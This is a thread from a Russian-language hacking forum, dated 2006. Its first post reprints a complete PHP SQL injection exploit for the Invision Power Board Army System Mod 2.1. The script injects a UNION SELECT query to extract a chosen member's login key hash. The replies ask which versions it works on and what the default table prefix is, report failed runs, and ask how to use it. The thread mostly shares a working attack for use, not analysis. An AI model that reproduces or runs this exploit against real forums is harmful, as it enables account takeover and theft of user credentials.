Форумы Invision Power Board Army System Mod 2.1 SQL Injection Exploit

Discussion in 'Уязвимости CMS/форумов' started by +toxa+, 13 Feb 2006.

  1. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Вышел новый сплойт для IPB Army System Mod 2.1, код смотрим здесь или ЗДЕСЬ


    Code:
    <?php
    /* --------------------------- EXPLOIT ---------------------------
    Invision Power Board Army System Mod 2.1 SQL Injection Exploit
    Tested on: Latest version (2.1.0)
    Discovered on: 06.02.2006 by Alex & fRoGGz
    Credits to: SecuBox Labs
    
    PLEASE READ THIS !
    The query of the SQL Injection depends about the number of fields in the sql table
    We have successfully tested the exploit on a new fresh IPB 2.1.x with Army 
    System Mod 2.1 installed
    
    IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE 
    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    */
    
    $target = "http://site.com/forums/"; // <--- Where ?
    $prefix = "ibf_"; // <--- SQL prefix ?
    $id = 1; // <--- Who ?
    
    print_r(get_infos($target,$prefix,$id));
    if(!get_infos($target,$prefix,$id)) echo "failed";
    
    function get_infos($target,$prefix,$id) {
    
        $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
        $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
        $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
        $inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
        $inject.= "NULL+FROM+".$prefix."members+WHERE+id=";
    
        $filename = $target . $inject . $id;
    
        $handle = fopen ($filename, "r");
            $infos = array();
    
            if (feof($handle)) { continue 2; }
            if ( $handle ) {
                    while ( ($buffer = fgets( $handle )) )
                    {
                            if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
                                    $infos['md5'] = strip_tags ( fgets( $handle) );
                    break;
                            }
                    }
            }
    
        fclose ($handle);
    
            if (count($infos) == 1) return $infos;
            return false;
    }
    ?>
    
    # milw0rm.com [2006-02-13]
    
    
     
    _________________________
    1 person likes this.
  2. Sprinter

    Sprinter New Member

    Joined:
    12 Jan 2006
    Messages:
    25
    Likes Received:
    1
    Reputations:
    -1
    Тоесть он катит для версий 2,1,*? Отличненько.
     
  3. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    Млять, своё надо будет патчить(
     
  4. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    какое это свое?)
     
  5. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    380
    Likes Received:
    144
    Reputations:
    29
    локалхост)))ггг
    а сёрьёзно, дай линк на своё))))
     
  6. ZetRoX

    ZetRoX Elder - Старейшина

    Joined:
    4 Dec 2005
    Messages:
    52
    Likes Received:
    2
    Reputations:
    0
    не пашет...

    unterminated < > operator at C:\\ipbr.pl line 1

    что делать???
     
  7. TTyck

    TTyck Elder - Старейшина

    Joined:
    12 Nov 2005
    Messages:
    91
    Likes Received:
    41
    Reputations:
    11
    $prefix = "ibf_";
    Подскажите какой префикс по умолчанию?
     
  8. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    аффтор жжот, php скрипт через перл
     
  9. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    ibf_
    ...
     
  10. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    че-то не понял, там снова ошибка для дураков? выдает:
    N*ame") ) { $infos*['m*d5'] = str*ip_tags ( fge*ts( $han*dle) ); bre*ak; } } } fclo*se ($ha*ndle); if (co*unt($info*s) == 1) retur*n $in*fos; retu*rn fal*se; } ?> # milw0rm.com [2006-02-13]
    без звездочек естественно.
     
  11. Sprinter

    Sprinter New Member

    Joined:
    12 Jan 2006
    Messages:
    25
    Likes Received:
    1
    Reputations:
    -1
    Обьясните как им пользоваться то? Куда этот скрипт девать?
     
    #11 Sprinter, 2 Mar 2006
    Last edited: 2 Mar 2006